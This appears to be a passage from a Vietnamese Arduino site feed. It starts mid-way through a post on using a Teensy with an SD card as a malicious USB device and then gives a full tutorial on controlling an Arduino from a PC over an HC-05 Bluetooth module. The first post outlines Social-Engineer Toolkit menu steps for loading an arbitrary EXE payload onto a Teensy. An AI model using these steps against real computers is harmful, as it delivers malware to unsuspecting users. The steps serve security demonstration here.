</tr></tbody></table><h4><strong>Nạp chương trình đọc thẻ nhớ</strong></h4>
<p>Tôi tiến hành nạp chương trình kiểm tra kết nối đến thẻ nhớ và kiểm tra dữ liệu tại cổng COM.</p>
<p class="rtecenter"><a href="http://k1.arduino.vn/img/2016/07/11/0/2666_123450-1468202980-0-teensyduino-cardinfo.jpg"><img alt="Teensyduino Card Info" src="http://k1.arduino.vn/img/2016/07/11/0/2666_123450-1468202980-0-teensyduino-cardinfo.jpg" style="height:437px; width:462px" /></a></p>
<p class="rtecenter">Hình 12: Mã nguồn SD CardInfo</p>
<p>Cần điều chỉnh chipSelect =10 tương đương với cổng CS/SS theo kết nối vật lý.</p>
<pre style="overflow: auto; font-family: Inconsolata, monospace, sans-serif; font-size: 0.9em; box-sizing: border-box; margin-top: 0px; margin-bottom: 1.75em; border: 1px solid rgb(227, 237, 243); width: 710px; padding: 10px; white-space: pre; border-radius: 3px; color: rgb(58, 65, 69); letter-spacing: 0.1px; line-height: 23.8px; background: rgb(247, 250, 251);">
// change this to match your SD shield or module;
// Arduino Ethernet shield: pin 4
// Adafruit SD shields and modules: pin 10
// Sparkfun SD shield: pin 8
const int chipSelect = 10;
</pre><p class="rtecenter"><a href="http://k2.arduino.vn/img/2016/07/11/0/2640_882450-1468203043-0-teensyduino-cardinfo-com.jpg"><img alt="Teensyduino Card Info" src="http://k2.arduino.vn/img/2016/07/11/0/2640_882450-1468203043-0-teensyduino-cardinfo-com.jpg" style="height:333px; width:458px" /></a></p>
<p class="rtecenter">Hình 13: Mã nguồn SD CardInfo</p>
<p class="rtecenter"><a href="http://k3.arduino.vn/img/2016/07/11/0/2640_812450-1468203095-0-cardinfo-com-monitor.jpg"><img alt="Teensyduino Card Info" src="http://k3.arduino.vn/img/2016/07/11/0/2640_812450-1468203095-0-cardinfo-com-monitor.jpg" style="height:476px; width:512px" /></a></p>
<p class="rtecenter">Hình 14: Mã nguồn SD CardInfo</p>
<h4><strong>Triển khai mã độc</strong></h4>
<p>Tôi sử dụng chương trình <a href="https://www.trustedsec.com/social-engineer-toolkit/" style="color: rgb(30, 166, 224); transition: color 0.3s ease; text-decoration: none; background-color: transparent;">Social-Engineer Toolkit (SET)</a> tại Kali để tạo mã độc và nạp chương trình cho Teensy.</p>
<p class="rtecenter"><a href="http://k1.arduino.vn/img/2016/07/11/0/2667_123450-1468203180-0-teensy-sd-malware.jpg"><img alt="Teensy SD Malware" src="http://k1.arduino.vn/img/2016/07/11/0/2667_123450-1468203180-0-teensy-sd-malware.jpg" /></a></p>
<p class="rtecenter">Hình 15: Luồng tấn công sử dụng Teensy + SD Card</p>
<pre style="overflow: auto; font-family: Inconsolata, monospace, sans-serif; font-size: 0.9em; box-sizing: border-box; margin-top: 0px; margin-bottom: 1.75em; border: 1px solid rgb(227, 237, 243); width: 710px; padding: 10px; white-space: pre; border-radius: 3px; color: rgb(58, 65, 69); letter-spacing: 0.1px; line-height: 23.8px; background: rgb(247, 250, 251);">
root@kali:~# setoolkit
1) Social-Engineering Attacks
6) Arduino-Based Attack Vector
8) SDCard 2 Teensy Attack (Deploy Any EXE)
</pre><p>Tải chương trình payload.exe đã tạo sẵn vào chuyển thành .txt tại đường dẫn /usr/share/set/. Sao chép converts.txt vào thẻ nhớ và nạp teensy.pde vào Teensy.</p>
<div class="rtecenter">
<iframe align="middle" frameborder="0" height="300" id="fitvid12374" scrolling="no" src="https://www.youtube.com/embed/lKdVT0L_q24?rel=0" width="560"></iframe></div>
<h2><span style="color:#FF8C00">Tham khảo</span></h2>
<ol><li><a href="http://www.howtogeek.com/203522/how-autorun-malware-became-a-problem-on-windows-and-how-it-was-mostly-fixed/" style="color: rgb(30, 166, 224); transition: color 0.3s ease; text-decoration: none; background-color: transparent;">How AutoRun Malware Became a Problem on Windows, and How It Was (Mostly) Fixed</a></li>
<li><a href="http://www.howtogeek.com/203061/don%E2%80%99t-panic-but-all-usb-devices-have-a-massive-security-problem/" style="color: rgb(30, 166, 224); transition: color 0.3s ease; text-decoration: none; background-color: transparent;">Don’t Panic, But All USB Devices Have a Massive Security Problem</a></li>
<li><a href="http://www.howtogeek.com/166497/htg-explains-what-is-juice-jacking-and-how-worried-should-you-be/" style="color: rgb(30, 166, 224); transition: color 0.3s ease; text-decoration: none; background-color: transparent;">HTG Explains: What Is Juice Jacking and How Worried Should You Be?</a></li>
<li>https://www.pjrc.com/teensy/</li>
<li>http://www.irongeek.com/i.php?page=security/plug-and-prey-malicious-usb-devices</li>
<li>http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle</li>
<li>https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/</li>
<li>https://github.com/offensive-security/hid-backdoor-peensy</li>
<li>https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/teensy/peensy.pde</li>
<li>https://github.com/matterpreter/penteensy</li>
<li>https://github.com/samratashok/nishang</li>
<li>http://www.linux-usb.org/usb.ids</li>
<li>https://jumpespjump.blogspot.com/2013/09/making-pc-mouse-hw-trojan.html</li>
</ol></div></div></div><div class="field field-name-field-tags field-type-taxonomy-term-reference field-label-above"><div class="field-label">Từ khóa: </div><div class="field-items"><div class="field-item even" rel="dc:subject"><a href="/tags/teensyhid" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">TeensyHID</a></div><div class="field-item odd" rel="dc:subject"><a href="/tags/hack" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">hack</a></div><div class="field-item even" rel="dc:subject"><a href="/tags/tan-cong" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">tấn công</a></div><div class="field-item odd" rel="dc:subject"><a href="/tags/may-tinh" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">máy tính</a></div><div class="field-item even" rel="dc:subject"><a href="/tags/hid" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">hid</a></div></div></div><div class="field field-name-field-chuyen-muc field-type-taxonomy-term-reference field-label-above"><div class="field-label">Chuyên mục: </div><div class="field-items"><div class="field-item even"><a href="/phan-loai-he-thong/hacking" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Hacking</a></div></div></div>Mon, 11 Jul 2016 02:32:38 +0000visudoblog970 at http://arduino.vnDùng máy tính điều khiển Arduino thông qua bluetooth với C# - Một cái nhìn toàn diện về module bluetooth HC-05
http://arduino.vn/bai-viet/912-dung-may-tinh-dieu-khien-arduino-thong-qua-bluetooth-voi-c-mot-cai-nhin-toan-dien-ve
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p><span style="color:#FF8C00"><span style="font-size:22px"><strong>1. Lý do viết bài</strong></span></span></p>
<p>Để trả lời câu hỏi của bạn Trần Tùng: “Có cách nào để máy tính dùng C# để điều khiển Arduino qua bluetooth không?”. Hôm nay, viết bài để giải quyết vấn đề này, đó là : Dùng máy tính để điều khiển Arduino thông qua module HC-05</p>
<h2><span style="color:#FF8C00"><strong>2.Giới thiệu về module Bluetooth HC-05, các chế độ hoạt động, và các lệnh AT hay dùng</strong></span></h2>
<h3><span style="color:#008080"><strong>a. Giới thiệu</strong></span></h3>
<p class="rtejustify">Bluetooth là chuẩn truyền thông không dây để trao đổi dữ liệu ở khoảng cách ngắn.Chuẩn truyền thông này sử dụng sóng radio ngắn(UHF radio) trong dải tần số ISM (2.4 tới 2.485 GHz). Khoảng cách truyền của module này vào khoảng 10m. Ở bài viết này, mình muốn giới thiệu đến các bạn một module sử dụng chuẩn truyền thông này là module HC-05. Module này được thiết kế dựa trên chip BC417. Con chip này khá phức tạp và sử dụng bộ nhớ flash ngoài 8Mbit. Nhưng việc sử dụng module này hoàn toàn đơn giản bởi nhà sản xuất đã tích hợp mọi thứ cho bạn trên module HC-05.</p>
<p class="rtecenter"><img alt="" src="http://k1.arduino.vn/img/2016/06/27/0/2580_1234656-1467038102-0-anh1.png" style="height:233px; width:372px" /></p>
<p>Sơ đồ chân HC-05 gồm có:</p>
<ul><li><strong>KEY</strong>: Chân này để chọn chế độ hoạt động AT Mode hoặc Data Mode.</li>
<li><strong>VCC:</strong> chân này có thể cấp nguồn từ 3.6V đến 6V bên trong module đã có một ic nguồn chuyển về điện áp 3.3V và cấp cho IC BC417.</li>
<li><strong>GND: </strong> nối với chân nguồn GND</li>
<li><strong>TXD, RND</strong> đây là hai chân UART để giao tiếp module hoạt động ở mức logic 3.3V </li>
<li><strong>STATE</strong> các bạn chỉ cần thả nổi và không cần quan tâm đến chân này.</li>
</ul><h3><span style="color:#008080"><strong>b. Các chế độ hoạt động</strong></span></h3>
<p>HC-05 có hai chế độ hoạt động là <strong>Command Mode</strong> và <strong>Data Mode</strong>. Ở chế độ Command Mode ta có thể giao tiếp với module thông qua cổng serial trên module bằng tập lệnh AT quen thuộc. Ở chế độ Data Mode module có thể truyền nhận dữ liệu tới module bluetooth khác. Chân KEY dùng để chuyển đổi qua lại giữa hai chế độ này. Có hai cách để bạn có thể chuyển module hoạt động trong chế độ Data Mode (đọc tài liệu Tiếng Việt trên một số Web thấy chỗ này thường bị viết sai)</p>
<p>Nếu đưa chân này lên mức logic cao trước khi cấp nguồn module sẽ đưa vào chế độ Command Mode với baudrate mặc định 38400. Chế độ này khá hữu ích khi bạn không biết baudrate trong module được thiết lập ở tốc độ bao nhiêu. Khi chuyển sang chế độ này đèn led trên module sẽ nháy chậm (khoảng 2s) và ngược lại khi chân KEY nối với mức logic thấp trước khi cấp nguồn module sẽ hoạt động chế độ Data Mode.</p>
<p>Nếu module đang hoạt động ở chế Data Mode để có thể đưa module vào hoạt động ở chế độ Command Mode bạn đưa chân KEY lên mức cao. Lúc này module sẽ vào chế độ Command Mode nhưng với tốc độ Baud Rate được bạn thiết lập lần cuối cùng. Vì thế bạn phải biết baudrate hiện tại của thiết bị để có thể tương tác được với nó. Chú ý nếu module của bạn chưa thiết lập lại lần nào thì mặc định của nó như sau:</p>
<ul><li>Baudrate 9600, data 8 bits, stop bits 1, parity : none, handshake: none</li>
<li>Passkey: 1234</li>
<li>Device Name: HC-05</li>
</ul><p>Ở chế độ Data Mode HC-05 có thể hoạt động như một master hoặc slave tùy vào việc bạn cấu hình (riêng HC-06 bạn chỉ có thể cấu hình ở chế độ SLAVE)</p>
<ul><li><strong>Ở chế độ SLAVE:</strong> bạn cần thiết lập kết nối từ smartphone, laptop, usb bluetooth để dò tìm module sau đó pair với mã PIN là 1234. Sau khi pair thành công, bạn đã có 1 cổng serial từ xa hoạt động ở baud rate 9600.</li>
<li><strong>Ở chế độ MASTER:</strong> module sẽ tự động dò tìm thiết bị bluetooth khác (1 module bluetooth HC-06, usb bluetooth, bluetooth của laptop...) và tiến hành pair chủ động mà không cần thiết lập gì từ máy tính hoặc smartphone.</li>
</ul><h3><span style="color:#008080"><strong>c. Tập lệnh AT</strong></span></h3>
<blockquote><p>AT: Lệnh test, nó sẽ trả về OK nếu module đã hoạt động ở Command Mode</p>
<p>AT+VERSION? :trả về firmware hiện tại của module</p>
<p>AT+UART=9600,0,0 ( thiết lập baudrate 9600,1 bit stop, no parity)</p>
</blockquote>
<h4><strong>Các lệnh ở chế độ Master</strong></h4>
<blockquote><p>AT+RMAAD : ngắt kết nối với các thiết bị đã ghép</p>
<p>AT+ROLE=1 : đặt là module ở master</p>
<p>AT+RESET: reset lại thiết bị</p>
<p>AT+CMODE=0: Cho phép kết nối với bất kì địa chỉ nào</p>
<p>AT+INQM=0,5,5: Dừng tìm kiếm thiết bị khi đã tìm được 5 thiết bị hoặc sau 5s</p>
<p>AT+PSWD=1234 Set Pin cho thiết bị</p>
<p>AT+INQ: Bắt đầu tìm kiếm thiết bị để ghép nối</p>
</blockquote>
<p>Sau lệnh này một loạt các thiết bị tìm thấy được hiện thị. Định ra kết quả sau lệnh này như sau </p>
<blockquote><p>INQ:address,type,signal</p>
</blockquote>
<p>Phần địa chỉ (address) sẽ có định dạng như sau: 0123:4:567890. Để sử dụng địa chỉ này trong các lệnh tiếp theo ta phải thay dấu “:” thành “,”</p>
<blockquote><p>0123:4:567890 -> 0123,4,5678</p>
</blockquote>
<blockquote><p>AT+PAIR=<address>,<timeout> : Đặt timeout(s) khi kết nối với 1 địa chỉ slave</p>
<p>AT+LINK=<address> Kết nối với slave</p>
</blockquote>
<h4><strong>Các lệnh ở chế độ Slave</strong></h4>
<blockquote><p>AT+ORGL: Reset lại cài đặt mặc định</p>
<p>AT+RMAAD: Xóa mọi thiết bị đã ghép nối</p>
<p>AT+ROLE=0: Đặt là chế độ SLAVE</p>
<p>AT+ADDR: Hiển thị địa chỉ của SLAVE</p>
</blockquote>
<h2><span style="color:#FF8C00"><strong>3. Cách làm</strong></span></h2>
<ul><li>Quay về nội dung chính của bài viết này…Mình sẽ chia sẻ cách dùng máy tính điều khiển Arduino thông qua HC-05</li>
</ul><h3><span style="color:#008080"><strong>a. Kết nối</strong></span></h3>
<table border="1" cellpadding="0" style="margin:auto; width:300px; border-spacing: 0px;"><tbody><tr><td style="height:29px; width:369px">
<div class="rtecenter"><strong>HC-05</strong></div>
</td>
<td style="height:29px; width:376px">
<div class="rtecenter"><strong>Arduino UNO</strong></div>
</td>
</tr><tr><td style="height:30px; width:369px">
<div class="rtecenter">Key</div>
</td>
<td style="height:30px; width:376px">
<div class="rtecenter">7</div>
</td>
</tr><tr><td style="height:29px; width:369px">
<div class="rtecenter">TX</div>
</td>
<td style="height:29px; width:376px">
<div class="rtecenter">RX</div>
</td>
</tr><tr><td style="height:30px; width:369px">
<div class="rtecenter">RX</div>
</td>
<td style="height:30px; width:376px">
<div class="rtecenter">TX</div>
</td>
</tr><tr><td style="height:30px; width:369px">
<div class="rtecenter">GND</div>
</td>
<td style="height:30px; width:376px">
<div class="rtecenter">GND</div>
</td>
</tr><tr><td style="height:30px; width:369px">
<div class="rtecenter">Vcc</div>
</td>
<td style="height:30px; width:376px">
<div class="rtecenter">5V</div>
</td>
</tr></tbody></table><h3><span style="color:#008080"><strong>b. Code cho Arduino</strong></span></h3>
<p>Sau khi nối dây xong…các bạn nạp code này vô Arduino:</p>
<pre class="prettyprint linenums lang-c_pp">
#
define KEY 7
# define LED 13
bool ok;
int
var;
String bf = "";
void setup()
{
pinMode(KEY, OUTPUT);
digitalWrite(KEY, LOW);
pinMode(LED, OUTPUT);
digitalWrite(LED, HIGH);
delay(3000);
Serial.begin(9600);
ok = configure_HC05();
}
void loop() {
if (ok)
{
if (Serial.available() > 0)
{
var = Serial.Read();
Serial.println(var);
if (var == ‘1’) {
digitalWrite(LED, HIGH);
} else if (var == ‘2’) {
digitalWrite(LED, LOW);
}
}
bool configure_HC05()
{
digitalWrite(KEY, HIGH);
Serial.println("AT");
delay(2000);
if (!Serial.find("OK"))
return false;
Serial.println("AT+RMAAD");
delay(2000);
if (!Serial.find("OK"))
return false;
Serial.println("AT+PSWD=1234");
delay(2000);
if (!Serial.find("OK"))
return false;
Serial.println("AT+ROLE=0");
delay(2000);
if (!Serial.find("OK"))
return false;
digitalWrite(KEY, LOW);
Serial.println("AT+RESET");
delay(2000);
if (!Serial.find("OK"))
return false;
delay(5000);
Serial.println("Bluetooth Ready!");
return true;
}</pre><p><strong><span style="color:#008080">c. Mô tả code:</span></strong></p>
<p>Trong code đầu tiên mình sẽ chỉnh chân KEY lên mức logic cao sau đó sẽ tiến hành cấu hình nó như một SLAVE với tập lệnh sau:</p>
<ul><li>AT+RMAAD</li>
<li>AT+PSWD=1234</li>
<li>AT+ROLE=0</li>
</ul><p>Sau khi cấu hình sau ta đưa chân KEY lên mức logic cao và reset lại module với lệnh</p>
<blockquote><p>AT+RESET</p>
</blockquote>
<p>Lúc này HC-05 của bạn đã chạy ở chế độ SLAVE và bạn đã hoàn tất bước cấu hình.</p>
<p>Sau đó module sẽ đợi lệnh bật tắt Led từ máy tính.</p>
<p>Sau khi cấu hình sau ta đưa chân KEY lên mức logic cao và reset lại module với lệnh</p>
<blockquote><p class="rtejustify">AT+RESET</p>
</blockquote>
<p>Lúc này HC-05 của bạn đã chạy ở chế độ SLAVE và bạn đã hoàn tất bước cấu hình.</p>
<p>Sau đó module sẽ đợi lệnh bật tắt Led từ máy tính.</p>
<h3><strong><span style="color:#008080">d. Thiết lập PC và HC05</span></strong></h3>
<h4><strong>Bước 1</strong>:Sau khi nạp code vào vi điều khiển bạn hãy tiến hành kết nối HC-05 với Bluetooth trên máy tính</h4>
<p>Sau khi PC và HC-05 đã được ghép nối ta sẽ thấy trong mục “Device Manager” hiện thêm 2 cổng COM. Lúc này bạn đã có 1 cổng COM từ xa để điều khiển LED rồi đó</p>
<p class="rtecenter"><a href="http://k1.arduino.vn/img/2016/06/28/0/2581_1234656-1467107763-0-untitled.png"><img alt="" src="http://k1.arduino.vn/img/2016/06/28/0/2581_1234656-1467107763-0-untitled.png" style="height:454px; width:623px" /></a></p>
<h4><strong>Bước 2</strong>:Ta vào mục Bluetooth Setting để xem cổng nào là cổng “OutGoing” ta sẽ dùng cổng này để điều khiển đèn Led (trong trường hợp hình bên dưới là cổng COM 9)</h4>
<p class="rtecenter"><a href="http://k1.arduino.vn/img/2016/06/28/0/2582_1234656-1467107892-0-untitled2.png"><img alt="" src="http://k1.arduino.vn/img/2016/06/28/0/2582_1234656-1467107892-0-untitled2.png" style="height:259px; width:215px" /></a></p>
<p class="rtecenter"><a href="http://k2.arduino.vn/img/2016/06/28/0/2558_8824656-1467108264-0-images.png"><img alt="" src="http://k2.arduino.vn/img/2016/06/28/0/2558_8824656-1467108264-0-images.png" style="height:402px; width:300px" /></a></p>
<h4><strong>Bước 3</strong>: Bạn dùng phần mềm tự tạo bằng C# như bài viết C# (C Sharp) – Một cách điều khiển Arduino bằng máy tính của mình và Đinh Hồng Thái đã làm để điều khiển cổng COM9 là ok!!!</h4>
<p class="rtecenter"><img alt="" src="http://k3.arduino.vn/img/2016/06/28/0/2559_8124656-1467115458-0-dieukhien.jpg" style="height:320px; width:428px" /></p>
<p>Link down phần mềm bọn mình tự thiết kế:</p>
<ul><li>Bản 1: http://arduino.vn/bai-viet/902-c-sharp-c-mot-cach-dieu-khien-arduino-bang-may-tinh</li>
<li>Bản 2: http://arduino.vn/bai-viet/908-c-c-sharp-nhan-du-lieu-tu-arduino</li>
</ul><p> </p>
<h2><span style="color:#FF8C00"><strong>4. Kết quả</strong></span></h2>
<p>Sau khi hoàn thành, các ban đã có một cổng COM từ xa điều khiển qua bluetooth rồi đó. Chúc các bạn thành công!!!! Và nhớ Rate Node cho mình nhé!!!!</p>
</div></div></div><div class="field field-name-field-tags field-type-taxonomy-term-reference field-label-above"><div class="field-label">Từ khóa: </div><div class="field-items"><div class="field-item even" rel="dc:subject"><a href="/tags/c-0" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">C#</a></div><div class="field-item odd" rel="dc:subject"><a href="/tags/may-tinh" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">máy tính</a></div><div class="field-item even" rel="dc:subject"><a href="/tags/dieu-khien" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">điều khiển</a></div><div class="field-item odd" rel="dc:subject"><a href="/tags/bluetooth" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Bluetooth</a></div><div class="field-item even" rel="dc:subject"><a href="/tags/hc-05" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">hc-05</a></div><div class="field-item odd" rel="dc:subject"><a href="/tags/arduino" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">arduino</a></div></div></div><div class="field field-name-field-chuyen-muc field-type-taxonomy-term-reference field-label-above"><div class="field-label">Chuyên mục: </div><div class="field-items"><div class="field-item even"><a href="/nao-cung-lam" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Nào cùng làm!</a></div></div></div>Tue, 28 Jun 2016 13:00:14 +0000Đỗ Hữu Toàn912 at http://arduino.vn